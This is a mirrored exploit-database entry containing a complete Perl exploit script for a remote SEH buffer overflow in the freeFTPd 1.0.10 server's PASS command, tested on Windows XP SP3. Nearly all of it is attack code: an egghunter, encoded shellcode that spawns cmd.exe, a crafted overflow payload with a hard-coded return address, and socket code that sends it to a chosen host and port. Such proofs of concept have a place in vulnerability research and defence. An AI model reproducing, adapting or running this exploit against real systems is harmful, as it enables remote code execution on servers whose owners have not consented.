freeFTPd 1.0.10 – ‘PASS’ Remote Buffer Overflow (SEH)

  • 作者: Wireghoul
    日期: 2013-08-21
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/27747/
  • #!/usr/bin/perl
    # freeFTPd 1.0.10 anonymous-auth PASS SEH buffer overflow
    # PoC by Wireghoul - www.justanotherhacker.com
    # Date: 20130820
    # Tested on: XPSP3
    # Similar exploits:
    # EDB 23079 1330 1339
    # Greetz corelan, TecR0C, mr_me, jjkakakk
    
    if (scalar(@ARGV) != 2) { "Usage $0 host port\n"; exit; }
    use IO::Socket::INET;
    # Null byte in ppr forces a backwards short jump allowing 128 bytes
    shellcode max
    # Thus we use an egghunter
    my $egghunter =
    "\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x43\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8".
    "WRGL".
    "\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7";
    # I expect the max lenght for this is ~1024 bytes, didn't bother checking
    # Spawn cmd.exe from msfpayload windows/exec CMD=cmd.exe R | msfencode -b
    '\x0a\x0d' -t perl
    my $shell =
    "\xd9\xeb\xd9\x74\x24\xf4\x5e\xbf\xe0\xdd\xfb\x11\x33\xc9" .
    "\xb1\x32\x31\x7e\x1a\x83\xc6\x04\x03\x7e\x16\xe2\x15\x21" .
    "\x13\x98\xd5\xda\xe4\xfb\x5c\x3f\xd5\x29\x3a\x4b\x44\xfe" .
    "\x49\x19\x65\x75\x1f\x8a\xfe\xfb\xb7\xbd\xb7\xb6\xe1\xf0" .
    "\x48\x77\x2d\x5e\x8a\x19\xd1\x9d\xdf\xf9\xe8\x6d\x12\xfb" .
    "\x2d\x93\xdd\xa9\xe6\xdf\x4c\x5e\x83\xa2\x4c\x5f\x43\xa9" .
    "\xed\x27\xe6\x6e\x99\x9d\xe9\xbe\x32\xa9\xa1\x26\x38\xf5" .
    "\x11\x56\xed\xe5\x6d\x11\x9a\xde\x06\xa0\x4a\x2f\xe7\x92" .
    "\xb2\xfc\xd6\x1a\x3f\xfc\x1f\x9c\xa0\x8b\x6b\xde\x5d\x8c" .
    "\xa8\x9c\xb9\x19\x2c\x06\x49\xb9\x94\xb6\x9e\x5c\x5f\xb4" .
    "\x6b\x2a\x07\xd9\x6a\xff\x3c\xe5\xe7\xfe\x92\x6f\xb3\x24" .
    "\x36\x2b\x67\x44\x6f\x91\xc6\x79\x6f\x7d\xb6\xdf\xe4\x6c" .
    "\xa3\x66\xa7\xfa\x32\xea\xd2\x42\x34\xf4\xdc\xe4\x5d\xc5" .
    "\x57\x6b\x19\xda\xb2\xcf\xd5\x90\x9e\x66\x7e\x7d\x4b\x3b" .
    "\xe3\x7e\xa6\x78\x1a\xfd\x42\x01\xd9\x1d\x27\x04\xa5\x99" .
    "\xd4\x74\xb6\x4f\xda\x2b\xb7\x45\xb9\xa6\x23\x48\x58\x41" .
    "\xc9\x94";
    my $egg = "USER WRGLWRGL$shell\r\n";
    my $usr = "USER anonymous\r\n"; # Must be an existing anonymous account
    # I'm lazy, NOPs are fine by me
    my $pre = "PASS " . "\x90" x (797 - length($egghunter)) . $egghunter;
    my $seh1 = "\x90\x90\xEB\x80"; # nop, nop, jmp+4
    my $seh2 = "\xf0\x42\x41\x00"; # PPR from freeFTPDService.exe (only unsafe
    SEH module), 0x004142f0
    my $pad = "X" x 209 ."\r\n";
    
    my $payload = $pre . $seh1 . $seh2 . $pad;
    
    my $sock = IO::Socket::INET->new("$ARGV[0]:$ARGV[1]") or die "Unable to
    connect!\n";
    my $eggsock = IO::Socket::INET->new("$ARGV[0]:$ARGV[1]") or die "Unable to
    connect!\n";
    print $eggsock $egg;
    sleep 1;
    print $sock $usr;
    sleep 1;
    print "Preparing exploit\n";
    sleep 1;
    print $sock $payload;
    print "Exploiting\n";
    sleep 3;
    print "Done\n";